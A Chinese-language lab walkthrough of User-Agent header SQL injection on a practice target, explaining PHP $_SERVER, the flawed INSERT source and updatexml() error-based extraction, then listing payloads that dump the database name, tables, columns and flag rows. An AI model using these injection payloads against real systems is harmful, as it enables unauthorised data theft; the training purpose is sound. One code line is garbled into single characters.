head(一)
注入环境:http://inject2.lab.aqlab.cn:81/Pass-07/index.php
攻击流程:
1;正确登录时用burp抓包。
2;测试head部分是否存在漏洞。
3;获取信息。
测试开始:
测试目标获取管理员账号密码
一些需要提前掌握的函数
order by 原为排序,注入式用来判断字段数
union select 用来判断显示位置,和链表查询(需相同字段数量)
information_schema mysql自带数据库 使用.tables /.columns调出表名/字段名
group_concat多行数据用一行显示
limit a, b排序输出,a代表了从哪个位置(从0开始) b代表从那位开始显示几条数据
updataxml concat:解释见下图
组成
head中有访问者的各种信息,而通讯时我们若能抓到这些数据包,并将头部中这些身份信息修改则为HEAD注入。抓包实例如下(使用burp):
举列
就像图中User-Agent本意是表示你是哪种访问方式例如苹果、微软、安卓、华为等等,图中我把他的值更换为了一个注入语句,并报错就返回了我关心的结果。
$uagent = $_SERVER[‘HTTP_USER_AGENT’];
Head注入介绍
PHP 全局变量 - 超全局变量
PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。
这些超全局变量是:
$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST (获取POST传参)
$_GET (获取GET的传参)
$_COOKIE (获取COOKIE的值)
$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
$_SERVER功能强大。
$_SERVER[‘HTTP_HOST’] 请求头信息中的Host内容,获取当前域名。
$_SERVER[“HTTP_USER_AGENT”] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER[“REMOTE_ADDR”] 浏览网页的用户ip。
updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了
但是报错的时候他其实已经执行了那个子查询代码!
原理了解了这么多后,下面我们就来实操一下练习一下
这里有现成的练习,那就先看下这个源码,
它把获取到的请求头数据插入数据库,那么我就就可以从这里下手。
看到这里是不仅插入了请求头的数据,还插入了用户名的数据,
所以后面我们要插入2条数据
$uagent = $_SERVER[‘HTTP_USER_AGENT’];
I
n
s
q
l
=
"
I
N
S
E
R
T
I
N
T
O
u
a
g
e
n
t
(
‘
u
a
g
e
n
t
‘
,
‘
u
s
e
r
n
a
m
e
‘
)
V
A
L
U
E
S
(
′
Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('
Insql="INSERTINTOuagent(‘uagent‘,‘username‘)VALUES(′uagent’,’$uname’)";
我们可以看到这里是有2个变量,所以要写2个占位符
VALUES ('$uagent','$uname')";
因此我们最后一个,1)
就是这么来的
'or updatexml(1,concat(0x7e,(select database())),1),1)#
1;正确登录时用burp抓包。
用户名是 admin
密码是 123456
因为我要替换的是请求头部分,所以就把请求头的值改成我们要注入的数据
'or updatexml(1,concat(0x7e,(select database())),1),1)#
不懂 1)# 的 1)是什么的请看开头源码介绍
然后查看报错信息,发现当前使用数据库
当然我们也可以使用更便捷的方式,利用bp的重发宝,然后查看报错信息,发现当前使用数据库
'or updatexml(1,concat(0x7e,(select database())),1),1)#
重发包得到反馈数据,说明有sql漏洞
获取表名
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#
获取字段名(这它默认正在使用的是head_flag表)
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag_head’)),1),1)#
获取字段值
注意这里因为是用updatexml函数报错输出我们想要的数据,但输出的内容有限,不能输出太多,准确来说应该是每每个输出有限,比如完整的是 qqqqq,wwwww 但可能输出就变成了qqq,www了
所有我们这里不能用group_concat函数一行输出了
这里我们用的是limit函数
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1)#
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 1,1)),1),1)#
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 2,1)),1),1)#
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 3,1)),1),1)#
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 4,1)),1),1)#
接下来就是一直替换index的值,来查看所有字段值
就成功了